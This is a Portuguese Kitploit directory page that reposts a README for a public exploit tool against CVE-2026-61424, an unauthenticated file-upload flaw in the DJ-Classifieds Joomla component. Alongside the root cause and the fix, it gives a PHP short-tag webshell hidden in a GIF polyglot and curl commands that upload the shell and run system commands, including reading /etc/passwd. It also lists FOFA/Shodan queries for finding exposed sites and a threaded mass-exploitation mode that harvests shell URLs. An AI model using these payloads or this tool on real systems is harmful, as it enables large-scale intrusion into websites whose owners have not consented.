Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-61424 — Componente DJ-Classifieds para Joomla — RCE por Upload de Arquivo Não Autenticado. Bypass de filtro de 3 strings via short tags do PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2 | Kitploit
Ferramentas/GitHubGitHub/shinthink/cve-2026-61424
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoConfiguração IncorretaRed TeamingFerramenta de Acesso Remoto
GitHubshinthink/cve-2026-61424

CVE-2026-61424

Componente DJ-Classifieds para Joomla — RCE por Upload de Arquivo Não Autenticado. Bypass de filtro de 3 strings via short tags do PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2

3há 1 mêsAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Python CVE CVSS License

CVE-2026-61424 — DJ-Classifieds <= 3.11.1

Tarefa imageupload → Sem Autenticação → Bypass do Filtro de 3 Strings (

Visão Geral

Upload arbitrário de arquivos sem autenticação no DJ-Classifieds para Joomla. O endpoint da tarefa imageupload processa uploads de arquivos sem autenticação e depende de uma lista de bloqueio de 3 strings (<?php, , ) que é trivialmente contornada usando as tags curtas de abertura do PHP (). Combinado com um polyglot GIF, o arquivo enviado passa em todas as verificações de validação de imagem enquanto contém um webshell PHP totalmente funcional.

eval(
base64
<?=
CampoDetalhe
CVECVE-2026-61424
ProdutoDJ-Classifieds (extensão Joomla da DJ-Extensions)
CVSS 4.010.0 (Crítico)
TipoCWE-434 — Upload de Arquivo sem Restrições
DescobertoPhil Taylor / mySites.guru — 16 de julho de 2026
ExploraçãoConfirmada em ambientes reais antes da divulgação

Versões Afetadas

StatusVersão
Vulnerável1.0 — 3.11.1
Corrigido3.11.2 (20 de julho de 2026)

Mecanismo da Vulnerabilidade

Causa Raiz

O método upload() em administrator/components/com_djclassifieds/lib/djupload.php está mapeado para a tarefa imageupload sem verificação de autenticação e sem validação de token CSRF.

root@kitploit:~
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method

// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check

$name     = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');

// ... writes file to tmp/djupload/<name>

Por que o Filtro de Segurança Falha (Bypass de 3 Strings)

O scanner de conteúdo bloqueia apenas três strings literais:

root@kitploit:~
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
    die('Malicious file detected');
}

Isso bloqueia <?php, eval( e base64 — mas não as tags curtas de abertura do PHP:

root@kitploit:~
<?=system($_GET['c']);?>     ← 0/3 strings bloqueadas → PASSA

As tags curtas de eco do PHP (<?=) estão habilitadas por padrão desde o PHP 5.4.

Fluxo do Ataque

  1. Crie um polyglot: cabeçalho GIF89a válido + <?=system($_GET['c']);?>
  2. Envie um POST para index.php?option=com_djclassifieds&task=imageupload com name=shell.gif
  3. O servidor verifica: extensão .gif ✓ getimagesize() ✓ sem <?php/eval(/base64 ✓
  4. O arquivo é salvo em tmp/djupload/<shell>.gif
  5. Acesse: https://target.com/tmp/djupload/shell.gif?c=id

Arquivos de Origem Verificados

ArquivoFunção
administrator/components/com_djclassifieds/lib/djupload.phpMétodo upload() — sem autenticação, filtro de 3 strings
components/com_djclassifieds/controller.phpRoteia a tarefa imageupload para upload()
administrator/components/com_djclassifieds/djclassifieds.xmlDivulgação de versão via tag <version>

Evidências dos Logs do Servidor

Sondagens de scanners anônimos observadas em ambientes reais antes da divulgação:

root@kitploit:~
POST /index.php?option=com_djclassifieds&task=imageupload
  name=<random>.gif  filename=<random>.gif
  — no cookie, no session, no referer

Instalação

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt

Uso

Alvo Único

root@kitploit:~
python cve_2026_61424.py -t target.com

Exploração em Massa

root@kitploit:~
python cve_2026_61424.py -f targets.txt -o shells.txt

Argumentos

FlagDescriçãoPadrão
-t, --targetHost de um único alvo—
-f, --fileArquivo com alvos (um por linha, comentários com #)—
-o, --outputSalvar URLs de RCE em arquivo—
--threadsThreads de trabalho para o modo em massa30
--no-cleanupNão excluir o shell após o RCEFalse
--debugSaída de depuraçãoFalse

Prova de Conceito

Alvo Único

root@kitploit:~
$ python cve_2026_61424.py -t target.com

  Host         : target.com
  DJ-Classifieds: YES v3.11.1
  Upload       : YES
  RCE          : YES
  Shell        : https://target.com/tmp/djupload/img_abc123.gif
  Output       : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
  Time         : 2.1s

Exploração Manual

root@kitploit:~
# Step 1 — Upload polyglot shell
curl -sk -X POST \
  "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
  -H "Content-Type: image/gif" \
  --data-binary @polyglot.gif

# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"

# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"

FOFA / Shodan

root@kitploit:~
# DJ-Classifieds component
body="com_djclassifieds"

# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"

# Exposed djupload directory
body="Index of" && body="djupload"

# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"

A Correção (3.11.2)

  1. Autenticação Joomla adicionada — verificação de convidado (guest) com JFactory::getUser() antes de upload()
  2. Validação de token CSRF adicionada — JSession::checkToken() na tarefa imageupload
  3. Tipos de arquivo restritos — allowlist somente de imagens no lado do servidor (jpg, jpeg, png, gif)
  4. Verificação de conteúdo aprimorada — detecção adicional de padrões PHP além da lista de bloqueio de 3 strings

Impacto

  • RCE total — execute comandos arbitrários como o usuário do servidor web
  • Acesso persistente — o shell permanece até ser removido manualmente ou o diretório ser limpo
  • Abuso de conteúdo — faça upload e hospede arquivos arbitrários em domínio confiável
  • Esgotamento de disco — capacidade de upload em massa anônimo
  • Ataques encadeados — a imagem polyglot pode ser incluída via LFI em outras partes do site

Aviso Legal

Esta ferramenta destina-se apenas a testes de segurança educacionais e autorizados. Use-a apenas contra sistemas que você possui ou para os quais tenha permissão explícita para testar. O autor não assume nenhuma responsabilidade por uso indevido ou danos.


Referências

RecursoLink
IONIX Threat Centerionix.io/threat-center/cve-2026-61424
Descoberta mySites.gurumysites.guru/blog/dj-classifieds-unauthenticated-file-upload
Comunicado de Segurança da DJ-Extensionsdj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release
Registro CVE.orgcve.org/CVERecord?id=CVE-2026-61424
INCIBE-CERTincibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424

Não afiliado à DJ-Extensions ou mySites.guru.

Baixar ferramenta